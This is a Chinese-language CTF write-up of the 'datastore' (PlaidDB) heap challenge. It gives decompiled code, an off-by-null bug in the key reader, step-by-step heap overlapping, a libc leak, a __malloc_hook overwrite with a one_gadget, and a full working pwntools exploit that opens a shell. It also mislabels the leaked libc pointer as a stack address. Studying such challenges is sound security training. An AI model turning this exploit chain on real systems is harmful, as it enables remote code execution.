前言
这道题有很多细节,不单是经典的off-by-null的题,更是对堆分配过程的一次掌握。有一些细节我没有讲到,大家可以自己调试,弄清每个一堆块的释放分配原因,和它的bins变化。
检查文件信息
1
2
保护全开,ELF64位小端序程序。
3
4
查看编译信息,gcc-4.8.2暂改为glibc2.23。
试运行
5
逆向分析
/* main */
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
_QWORD *struct_0x38_0x40; // rbx
_QWORD *v4; // rax
char *v5; // rax
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
struct_0x38_0x40 = malloc(0x38uLL); // 主函数结构体
v4 = malloc(8uLL);
if ( v4 )
*v4 = 0x67346C66336874LL;
*struct_0x38_0x40 = v4;
v5 = (char *)malloc(9uLL);
if ( v5 )
strcpy(v5, "youwish\n");
struct_0x38_0x40[2] = v5;
struct_0x38_0x40[1] = 8LL;
Init_struct(struct_0x38_0x40); // 初始化结构体
puts("INFO: Welcome to the PlaidDB data storage service.");
puts("INFO: Valid commands are GET, PUT, DUMP, DEL, EXIT");
while ( 1 )
Begin();
}
/* Begin */
unsigned __int64 Begin()
{
bool v0; // zf
const char *v1; // rdi
__int64 v2; // rcx
char *v3; // rsi
const char *v4; // rdi
__int64 v5; // rcx
char *v6; // rsi
const char *v7; // rdi
__int64 v8; // rcx
char *v9; // rsi
const char *v10; // rdi
__int64 v11; // rcx
char *v12; // rsi
const char *v13; // rdi
__int64 v14; // rcx
char *v15; // rsi
char v17[8]; // [rsp+0h] [rbp-18h] BYREF
unsigned __int64 v18; // [rsp+8h] [rbp-10h]
v18 = __readfsqword(0x28u);
puts("PROMPT: Enter command:");
get_command(v17, 8LL);
v1 = "GET\n";
v2 = 5LL;
v3 = v17;
do
{
if ( !v2 )
break;
v0 = *v3++ == *v1++;
--v2;
}
while ( v0 );
if ( v0 )
{
GET(v1, v3);
}
else
{
v4 = "PUT\n";
v5 = 5LL;
v6 = v17;
do
{
if ( !v5 )
break;
v0 = *v6++ == *v4++;
--v5;
}
while ( v0 );
if ( v0 )
{
PUT(v4, v6);
}
else
{
v7 = "DUMP\n";
v8 = 6LL;
v9 = v17;
do
{
if ( !v8 )
break;
v0 = *v9++ == *v7++;
--v8;
}
while ( v0 );
if ( v0 )
{
DUMP(v7, v9);
}
else
{
v10 = "DEL\n";
v11 = 5LL;
v12 = v17;
do
{
if ( !v11 )
break;
v0 = *v12++ == *v10++;
--v11;
}
while ( v0 );
if ( v0 )
{
DEL(v10, v12);
}
else
{
v13 = "EXIT\n";
v14 = 6LL;
v15 = v17;
do
{
if ( !v14 )
break;
v0 = *v15++ == *v13++;
--v14;
}
while ( v0 );
if ( v0 )
EXIT(v13, v15);
__printf_chk(1LL, "ERROR: '%s' is not a valid command.\n", v17);
}
}
}
}
return __readfsqword(0x28u) ^ v18;
}
/* GET 函数,按key值读取数据库 */
__int64 v1; // rbx
int v2; // eax
__int64 v3; // rdx
char *v4; // rcx
puts("PROMPT: Enter row key:");
row_key = get_row_key(); // off-by-null漏洞函数
v1 = qword_203018;
LABEL_2:
if ( v1 )
{
while ( 1 )
{
v2 = strcmp(row_key, *(const char **)v1);
if ( v2 < 0 )
{
v1 = *(_QWORD *)(v1 + 24);
goto LABEL_2;
}
if ( !v2 )
break;
v1 = *(_QWORD *)(v1 + 32);
if ( !v1 )
goto LABEL_6;
}
v3 = *(_QWORD *)(v1 + 8);
v4 = "s";
if ( v3 == 1 )
v4 = "";
__printf_chk(1LL, "INFO: Row data [%zd byte%s]:\n", v3, v4);
fwrite(*(const void **)(v1 + 16), 1uLL, *(_QWORD *)(v1 + 8), stdout);
free(row_key);
}
else
{
LABEL_6:
puts("ERROR: Row not found.");
free(row_key);
}
}
/* PUT函数,存放结构题 */
void PUT()
{
void **row_key; // rbx
unsigned __int64 size; // rax
void *data; // rax
__int64 inited; // rbp
char data_size[24]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-20h]
v5 = __readfsqword(0x28u);
row_key = (void **)malloc(0x38uLL);
if ( !row_key )
{
puts("FATAL: Can't allocate a row");
exit(-1);
}
puts("PROMPT: Enter row key:");
*row_key = get_row_key(); // off-by-null,读取key
puts("PROMPT: Enter data size:");
get_command(data_size, 16LL); // 读取大小
size = strtoul(data_size, 0LL, 0);
row_key[1] = (void *)size; // 保存size
data = malloc(size);
row_key[2] = data; // 保存data
if ( data )
{
puts("PROMPT: Enter data:");
read_data(row_key[2], row_key[1]);
inited = Init_struct(row_key);
if ( inited )
{
free(*row_key);
free(*(void **)(inited + 16));
*(_QWORD *)(inited + 8) = row_key[1];
*(_QWORD *)(inited + 16) = row_key[2];
free(row_key);
puts("INFO: Update successful.");
}
else
{
puts("INFO: Insert successful.");
}
}
else
{
puts("ERROR: Can't store that much data.");
free(*row_key);
free(row_key);
}
}
/* DUMP 函数 */
_QWORD *DUMP()
{
_QWORD *result; // rax
_QWORD *v1; // rbx
__int64 v2; // rcx
char *v3; // r8
_QWORD *v4; // rax
puts("INFO: Dumping all rows.");
result = &qword_203018;
v1 = (_QWORD *)qword_203018;
if ( qword_203018 )
{
while ( v1[3] )
v1 = (_QWORD *)v1[3];
while ( 1 )
{
while ( 1 )
{
v2 = v1[1];
v3 = "";
if ( v2 != 1 )
v3 = "s";
__printf_chk(1LL, "INFO: Row [%s], %zd byte%s\n", *v1, v2, v3);
v4 = (_QWORD *)v1[4];
if ( !v4 )
break;
do
{
v1 = v4;
v4 = (_QWORD *)v4[3];
}
while ( v4 );
}
result = (_QWORD *)v1[5];
if ( !result || v1 != (_QWORD *)result[3] )
break;
LABEL_17:
v1 = result;
}
while ( result )
{
if ( v1 != (_QWORD *)result[4] )
goto LABEL_17;
v1 = result;
result = (_QWORD *)result[5];
}
}
return result;
}
/* DEL 函数 */
int DEL()
{
char *row_key; // r12
__int64 v1; // rbx
char *v2; // rbp
int v3; // eax
__int64 v5; // rax
__int64 v6; // rcx
__int64 v7; // rsi
__int64 v8; // rsi
__int64 v9; // rsi
__int64 v10; // rcx
__int64 v11; // rdi
__int64 v12; // rax
__int64 v13; // rsi
__int64 v14; // rcx
__int64 v15; // rcx
__int64 v16; // rax
__int64 v17; // rsi
__int64 v18; // rsi
__int64 v19; // rax
__int64 v20; // rcx
__int64 v21; // rsi
__int64 v22; // rcx
__int64 v23; // rsi
__int64 v24; // rsi
__int64 v25; // rdx
int v26; // edi
__int64 v27; // rax
__int64 v28; // rax
__int64 v29; // rax
__int64 v30; // rax
__int64 v31; // rax
__int64 v32; // rax
__int64 v33; // rsi
__int64 v34; // rsi
__int64 v35; // rsi
__int64 v36; // rcx
__int64 v37; // rax
__int64 v38; // rax
__int64 v39; // rax
puts("PROMPT: Enter row key:");
row_key = get_row_key(); // off-by-null
v1 = qword_203018;
LABEL_2:
if ( !v1 )
return puts("ERROR: Row not found.");
while ( 1 )
{
v2 = *(char **)v1;
v3 = strcmp(row_key, *(const char **)v1);
if ( v3 < 0 )
{
v1 = *(_QWORD *)(v1 + 24);
goto LABEL_2;
}
if ( !v3 )
break;
v1 = *(_QWORD *)(v1 + 32);
if ( !v1 )
return puts("ERROR: Row not found.");
}
v5 = *(_QWORD *)(v1 + 24);
if ( v5 )
{
v6 = *(_QWORD *)(v1 + 32);
if ( v6 )
{
while ( *(_QWORD *)(v6 + 24) )
v6 = *(_QWORD *)(v6 + 24);
v5 = *(_QWORD *)(v6 + 32);
v25 = *(_QWORD *)(v6 + 40);
v26 = *(_DWORD *)(v6 + 48);
if ( v5 )
*(_QWORD *)(v5 + 40) = v25;
v7 = *(_QWORD *)(v6 + 40);
if ( v25 )
{
if ( v6 == *(_QWORD *)(v25 + 24) )
*(_QWORD *)(v25 + 24) = v5;
else
*(_QWORD *)(v25 + 32) = v5;
}
else
{
qword_203018 = v5;
}
if ( v1 == v7 )
v25 = v6;
*(_QWORD *)(v6 + 24) = *(_QWORD *)(v1 + 24);
*(_QWORD *)(v6 + 32) = *(_QWORD *)(v1 + 32);
*(_QWORD *)(v6 + 40) = *(_QWORD *)(v1 + 40);
*(_QWORD *)(v6 + 48) = *(_QWORD *)(v1 + 48);
v8 = *(_QWORD *)(v1 + 40);
if ( v8 )
{
if ( *(_QWORD *)(v8 + 24) == v1 )
*(_QWORD *)(v8 + 24) = v6;
else
*(_QWORD *)(v8 + 32) = v6;
}
else
{
qword_203018 = v6;
}
*(_QWORD *)(*(_QWORD *)(v1 + 24) + 40LL) = v6;
v9 = *(_QWORD *)(v1 + 32);
if ( v9 )
*(_QWORD *)(v9 + 40) = v6;
if ( v25 )
{
v10 = v25;
do
v10 = *(_QWORD *)(v10 + 40);
while ( v10 );
}
goto LABEL_28;
}
v25 = *(_QWORD *)(v1 + 40);
v26 = *(_DWORD *)(v1 + 48);
}
else
{
v5 = *(_QWORD *)(v1 + 32);
v25 = *(_QWORD *)(v1 + 40);
v26 = *(_DWORD *)(v1 + 48);
if ( !v5 )
goto LABEL_64;
}
*(_QWORD *)(v5 + 40) = v25;
LABEL_64:
if ( v25 )
{
if ( *(_QWORD *)(v25 + 24) == v1 )
*(_QWORD *)(v25 + 24) = v5;
else
*(_QWORD *)(v25 + 32) = v5;
}
else
{
qword_203018 = v5;
}
LABEL_28:
if ( v26 )
goto LABEL_29;
v11 = qword_203018;
while ( 1 )
{
if ( v5 && *(_DWORD *)(v5 + 48) )
{
qword_203018 = v11;
goto LABEL_69;
}
if ( v5 == v11 )
{
qword_203018 = v5;
goto LABEL_68;
}
v15 = *(_QWORD *)(v25 + 24);
if ( v15 != v5 )
{
if ( *(_DWORD *)(v15 + 48) == 1 )
{
v16 = *(_QWORD *)(v15 + 32);
*(_DWORD *)(v15 + 48) = 0;
*(_DWORD *)(v25 + 48) = 1;
*(_QWORD *)(v25 + 24) = v16;
if ( v16 )
*(_QWORD *)(v16 + 40) = v25;
v17 = *(_QWORD *)(v25 + 40);
*(_QWORD *)(v15 + 40) = v17;
if ( v17 )
{
v18 = *(_QWORD *)(v25 + 40);
if ( v25 == *(_QWORD *)(v18 + 24) )
{
*(_QWORD *)(v18 + 24) = v15;
v16 = *(_QWORD *)(v25 + 24);
}
else
{
*(_QWORD *)(v18 + 32) = v15;
}
}
else
{
v11 = v15;
}
*(_QWORD *)(v15 + 32) = v25;
*(_QWORD *)(v25 + 40) = v15;
v15 = v16;
}
v12 = *(_QWORD *)(v15 + 24);
if ( v12 && *(_DWORD *)(v12 + 48) )
{
qword_203018 = v11;
}
else
{
v13 = *(_QWORD *)(v15 + 32);
if ( !v13 || !*(_DWORD *)(v13 + 48) )
{
*(_DWORD *)(v15 + 48) = 1;
v14 = *(_QWORD *)(v25 + 40);
goto LABEL_36;
}
qword_203018 = v11;
if ( !v12 || !*(_DWORD *)(v12 + 48) )
{
v30 = *(_QWORD *)(v13 + 24);
*(_DWORD *)(v13 + 48) = 0;
*(_DWORD *)(v15 + 48) = 1;
*(_QWORD *)(v15 + 32) = v30;
if ( v30 )
*(_QWORD *)(v30 + 40) = v15;
v31 = *(_QWORD *)(v15 + 40);
*(_QWORD *)(v13 + 40) = v31;
if ( v31 )
{
v32 = *(_QWORD *)(v15 + 40);
if ( *(_QWORD *)(v32 + 24) == v15 )
*(_QWORD *)(v32 + 24) = v13;
else
*(_QWORD *)(v32 + 32) = v13;
}
else
{
qword_203018 = v13;
}
*(_QWORD *)(v13 + 24) = v15;
*(_QWORD *)(v15 + 40) = v13;
v15 = *(_QWORD *)(v25 + 24);
v12 = *(_QWORD *)(v15 + 24);
*(_DWORD *)(v15 + 48) = *(_DWORD *)(v25 + 48);
*(_DWORD *)(v25 + 48) = 0;
if ( !v12 )
goto LABEL_79;
goto LABEL_78;
}
}
*(_DWORD *)(v15 + 48) = *(_DWORD *)(v25 + 48);
*(_DWORD *)(v25 + 48) = 0;
LABEL_78:
*(_DWORD *)(v12 + 48) = 0;
LABEL_79:
v27 = *(_QWORD *)(v15 + 32);
*(_QWORD *)(v25 + 24) = v27;
if ( v27 )
*(_QWORD *)(v27 + 40) = v25;
v28 = *(_QWORD *)(v25 + 40);
*(_QWORD *)(v15 + 40) = v28;
if ( v28 )
{
v29 = *(_QWORD *)(v25 + 40);
if ( v25 == *(_QWORD *)(v29 + 24) )
*(_QWORD *)(v29 + 24) = v15;
else
*(_QWORD *)(v29 + 32) = v15;
v5 = qword_203018;
}
else
{
qword_203018 = v15;
v5 = v15;
}
*(_QWORD *)(v15 + 32) = v25;
*(_QWORD *)(v25 + 40) = v15;
goto LABEL_68;
}
v19 = *(_QWORD *)(v25 + 32);
if ( *(_DWORD *)(v19 + 48) == 1 )
{
v22 = *(_QWORD *)(v19 + 24);
*(_DWORD *)(v19 + 48) = 0;
*(_DWORD *)(v25 + 48) = 1;
*(_QWORD *)(v25 + 32) = v22;
if ( v22 )
*(_QWORD *)(v22 + 40) = v25;
v23 = *(_QWORD *)(v25 + 40);
*(_QWORD *)(v19 + 40) = v23;
if ( v23 )
{
v24 = *(_QWORD *)(v25 + 40);
if ( v25 == *(_QWORD *)(v24 + 24) )
{
*(_QWORD *)(v24 + 24) = v19;
}
else
{
*(_QWORD *)(v24 + 32) = v19;
v22 = *(_QWORD *)(v25 + 32);
}
}
else
{
v11 = v19;
}
*(_QWORD *)(v19 + 24) = v25;
*(_QWORD *)(v25 + 40) = v19;
v19 = v22;
}
v20 = *(_QWORD *)(v19 + 24);
if ( v20 )
{
if ( *(_DWORD *)(v20 + 48) )
break;
}
v21 = *(_QWORD *)(v19 + 32);
if ( v21 && *(_DWORD *)(v21 + 48) )
{
qword_203018 = v11;
LABEL_119:
v36 = *(_QWORD *)(v25 + 32);
*(_DWORD *)(v19 + 48) = *(_DWORD *)(v25 + 48);
*(_DWORD *)(v25 + 48) = 0;
goto LABEL_109;
}
*(_DWORD *)(v19 + 48) = 1;
v14 = *(_QWORD *)(v25 + 40);
LABEL_36:
v5 = v25;
v25 = v14;
}
v21 = *(_QWORD *)(v19 + 32);
qword_203018 = v11;
if ( v21 && *(_DWORD *)(v21 + 48) )
goto LABEL_119;
v33 = *(_QWORD *)(v20 + 32);
*(_DWORD *)(v20 + 48) = 0;
*(_DWORD *)(v19 + 48) = 1;
*(_QWORD *)(v19 + 24) = v33;
if ( v33 )
*(_QWORD *)(v33 + 40) = v19;
v34 = *(_QWORD *)(v19 + 40);
*(_QWORD *)(v20 + 40) = v34;
if ( v34 )
{
v35 = *(_QWORD *)(v19 + 40);
if ( v19 == *(_QWORD *)(v35 + 24) )
*(_QWORD *)(v35 + 24) = v20;
else
*(_QWORD *)(v35 + 32) = v20;
}
else
{
qword_203018 = v20;
}
*(_QWORD *)(v20 + 32) = v19;
*(_QWORD *)(v19 + 40) = v20;
v36 = *(_QWORD *)(v25 + 32);
v21 = *(_QWORD *)(v36 + 32);
*(_DWORD *)(v36 + 48) = *(_DWORD *)(v25 + 48);
*(_DWORD *)(v25 + 48) = 0;
if ( v21 )
LABEL_109:
*(_DWORD *)(v21 + 48) = 0;
v37 = *(_QWORD *)(v36 + 24);
*(_QWORD *)(v25 + 32) = v37;
if ( v37 )
*(_QWORD *)(v37 + 40) = v25;
v38 = *(_QWORD *)(v25 + 40);
*(_QWORD *)(v36 + 40) = v38;
if ( v38 )
{
v39 = *(_QWORD *)(v25 + 40);
if ( v25 == *(_QWORD *)(v39 + 24) )
*(_QWORD *)(v39 + 24) = v36;
else
*(_QWORD *)(v39 + 32) = v36;
v5 = qword_203018;
}
else
{
qword_203018 = v36;
v5 = v36;
}
*(_QWORD *)(v36 + 24) = v25;
*(_QWORD *)(v25 + 40) = v36;
LABEL_68:
if ( !v5 )
goto LABEL_29;
LABEL_69:
*(_DWORD *)(v5 + 48) = 0;
LABEL_29:
free(v2);
free(*(void **)(v1 + 16));
free((void *)v1);
free(row_key);
return puts("INFO: Delete successful."); // UAF
}
/* get_row_key 漏洞函数 */
char *get_row_key()
{
char *start_line; // r12
char *end_line; // rbx
size_t size_true; // r14
char v3; // al
char v4; // bp
__int64 diff; // r13
char *new_line; // rax
start_line = (char *)malloc(8uLL);
end_line = start_line;
size_true = malloc_usable_size(start_line);
while ( 1 )
{
v3 = _IO_getc(stdin);
v4 = v3;
if ( v3 == -1 )
EXIT();
if ( v3 == '\n' )
break;
diff = end_line - start_line;
if ( size_true <= end_line - start_line )
{
new_line = (char *)realloc(start_line, 2 * size_true); // 扩展原来可用大小的两倍
start_line = new_line;
if ( !new_line )
{
puts("FATAL: Out of memory");
exit(-1);
}
end_line = &new_line[diff];
size_true = malloc_usable_size(new_line);
}
*end_line++ = v4;
}
*end_line = 0; // off-by-null
return start_line;
}
6
不难这是一个简单的nosql数据库,根据PUT函数推导出其初始化前结构体。
漏洞利用
通过off-by-null漏洞制造overlapping,然后通过切割制造unsorted bin attack通过GET泄露栈地址,通过overlapping向fast bin中的chunk_fd写入一个fake_fast_below_malloc_hook。申请时改写__malloc_hook为one_gadget再去随意申请一个chunk即可。
前置脚本
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
p = process('./datastore')
elf = ELF('./datastore')
libc = ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
is_debug = 1
def debug():
if is_debug:
gdb.attach(p)
pause()
else:
pass
def GET(row_key):
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"GET")
p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
def PUT(row_key, size, data):
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"PUT")
p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
p.sendlineafter(b'PROMPT: Enter data size:\n', str(size).encode())
if(len(data) < size):
data = data.ljust(size, b'\x00')
p.sendafter(b'PROMPT: Enter data:\n', data)
def DUMP():
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"DUMP")
def DEL(row_key):
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"DEL")
p.sendlineafter(b"PROMPT: Enter row key:\n", row_key)
def EXIT():
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"EXIT")
diff
def diff():
''' 因为每个功能函数都用到了0x38chunk, 所以我们先构造一些, 隔离一下我们的chunk '''
for i in range(10):
PUT(str(i).encode(), 0x38, b'a' * 0x18)
for i in range(10):
DEL(str(i).encode())
为了避免程序中频繁申请的0x21和0x41大小的chunk影响我们构造的堆块,我们提前申请些堆块放进fast bin隔离我们的chunk。
overlapping
def overlapping():
PUT(b'x', 0x200, b'x' * 0x200)
PUT(b'fast', 0x68, b'fast')
PUT(b'fast2', 0x68, b'fast2')
PUT(b'a', 0x1f8, b'a' * 0x18)
PUT(b'b', 0xf0, b'b' * 0x18)
debug() # 1
PUT(b'defense', 0x400, b'defense-data') # 防止top bin的影响
debug() # 2
DEL(b'a')
DEL(b'x')
debug() # 3
DEL(b'1' * 0x1f0 + p64(0x4f0)) # 对b的pre_size域和prev_inuse进行覆盖
debug() # 3
DEL(b'b')
debug() # 4
debug_1
debug_1
这是我们构造的堆块。此时堆中有很多相邻的被释放的free_chunk。我们申请一个large bin chunk后会将其合并,并送进unsorted bin,unsorted bin整理后送入对应bins。
debug_2
debug_2
此时堆中free_chunk整理完毕,堆中的小堆块(0x21, 0x41)还剩下我们主函数的结构体,和large bin申请前,尚未被释放row_key(0x41)和get_row_key函数中申请的0x21堆块。我们构造的堆块被连在了一起,当堆中小堆块被释放时,我们后续操作申请的小堆块将从fast binY申请,不会影响我们对构造堆块的操作。
debug_3
debug_3
我们将'a'_0x201
, 'x'_0x211
释放后,堆中布局如上。此时如果我们输入一个0x1f8
的get_row_key(DEL),因为get_row_key都是计算的可用大小,所以我们会溢出一个null,并且这个realloc的堆块会申请到'a'_0x201
这个堆块,并修改下一个堆块'b'_0x100
的prev_size,当然也修改了PREV_INUSE位,虽然它已经是0了。当然这个删除的key并不存在,也不会影响我们的操作。
debug_4
debug_4
此时'b'_0x100
的prev_size已被修改为0x4f0,也就是0x210+0x70+0x70+0x200大小。删除'b'_0x100
,ptmalloc2检测到当前地址到低prev_size_0x4f0
处的chunk_'x'_0x210
也是个free_chunk,便会进行合并,把我们的in_use_chunk也并到了里面。
debug_5
debug_5
可以看到,此时我们的in_usechunk'fast'&'fast2'也被放进了free_chunk这个大堆块里。
get_libc_base
def get_libc_base():
global libc_base
PUT(b'0x200', 0x200, b'0x200')
debug() # 6
PUT(b'0x200plus', 0x200, b'0x200')
debug() # 7
GET(b'fast')
p.recvuntil(b']:\n')
leak = u64(p.recv(8).ljust(8, b'\x00'))
libc_base = leak-0x3c4b78
debug_6
debug_6
我们申请0x200大小的chunk,会先去small bin中寻找大小一致的chunk,但small中仅有0x360大小的chunk,接下来就会去整理fast bin和unsorted bin并放进对应的small bin或者large bin。此时也就将我们的大堆块放入了large bin。接下来遍历过程中,发现small bin中存在last remainder,将其差分,剩下的chunk_0x151放进unsorted bin。
debug_7
debug_7
接下来的再次申请0x200大小的chunk时,还是会去small寻找,无果后寻找unsorted,也无果,将unsorted bin中的chunk放进对应的bins,接下来从下一个bin中寻找,取出我们构造的大堆块,切分,然后将remainder放进unsorted bin。也就是现在的堆结构。
dz7
而我们申请0x200将0x210大小的chunk_'x'摘除以后,剩下的chunk头正好是我们的'fast',此时我们并未将fast释放掉,我们可以通过GET("fast")将它的fd指针打印出来,便得到了栈地址(main_arena+0x58),减去其偏移就得到了栈的基址。
getshell
def get_shell():
DEL(b'fast2')
PUT(b'0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x13))
debug() # 8
PUT(b'pre', 0x68, b'aa')
one_gadget_offset = 0x4527a
one_gadget = one_gadget_offset+libc_base
PUT(b'attack', 0x68, b'a'*3+p64(one_gadget))
debug() # 9
GET(b'fast')
debug_8
debug_8
dz8
我们将fast2放进fast bin中,然后申请一个足够覆盖fast2_fd位置的chunk_0x111,这个chunk会从我们构造的堆申请,然后将fast2_fd位置改为__malloc_hook附近符合条件的fake_chunk位置。那么我们申请两次就会申请到fake_chunk位置。
debug_9
debug_9
我们通过计算,申请时填写0x13-0x10(fd_bk)的偏移,然后在__malloc_hook处写入one_gadget地址。然后随便申请一个堆块即可get_shell。
get_shell
getshell
完整exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
p = process('./datastore')
elf = ELF('./datastore')
libc = ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
is_debug = 1
def debug():
if is_debug:
gdb.attach(p)
pause()
else:
pass
def GET(row_key):
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"GET")
p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
def PUT(row_key, size, data):
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"PUT")
p.sendlineafter(b'PROMPT: Enter row key:\n', row_key)
p.sendlineafter(b'PROMPT: Enter data size:\n', str(size).encode())
if(len(data) < size):
data = data.ljust(size, b'\x00')
p.sendafter(b'PROMPT: Enter data:\n', data)
def DUMP():
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"DUMP")
def DEL(row_key):
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"DEL")
p.sendlineafter(b"PROMPT: Enter row key:\n", row_key)
def EXIT():
p.recvuntil(b'PROMPT: Enter command:\n')
p.sendline(b"EXIT")
def diff():
''' 因为每个功能函数都用到了0x38chunk, 所以我们先构造一些, 隔离一下我们的chunk '''
for i in range(10):
PUT(str(i).encode(), 0x38, b'a' * 0x18)
for i in range(10):
DEL(str(i).encode())
def overlapping():
PUT(b'x', 0x200, b'x' * 0x200)
PUT(b'fast', 0x68, b'fast')
PUT(b'fast2', 0x68, b'fast2')
PUT(b'a', 0x1f8, b'a' * 0x18)
PUT(b'b', 0xf0, b'b' * 0x18)
debug()
PUT(b'defense', 0x400, b'defense-data') # 防止top bin的影响
debug()
DEL(b'a')
DEL(b'x')
debug()
DEL(b'1' * 0x1f0 + p64(0x4f0)) # 对b的pre_size域和prev_inuse进行覆盖
debug()
DEL(b'b')
debug()
def get_libc_base():
global libc_base
PUT(b'0x200', 0x200, b'0x200')
debug()
PUT(b'0x200plus', 0x200, b'0x200')
debug()
GET(b'fast')
p.recvuntil(b']:\n')
leak = u64(p.recv(8).ljust(8, b'\x00'))
libc_base = leak-0x3c4b78
def get_shell():
DEL(b'fast2')
debug()
PUT(b'0x68+0x68', 0x100, b'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 0x13))
debug()
PUT(b'pre', 0x68, b'aa')
debug()
one_gadget_offset = 0x4527a
one_gadget = one_gadget_offset+libc_base
PUT(b'attack', 0x68, b'a'*3+p64(one_gadget))
debug()
GET(b'fast')
def pwn():
diff()
overlapping()
get_libc_base()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()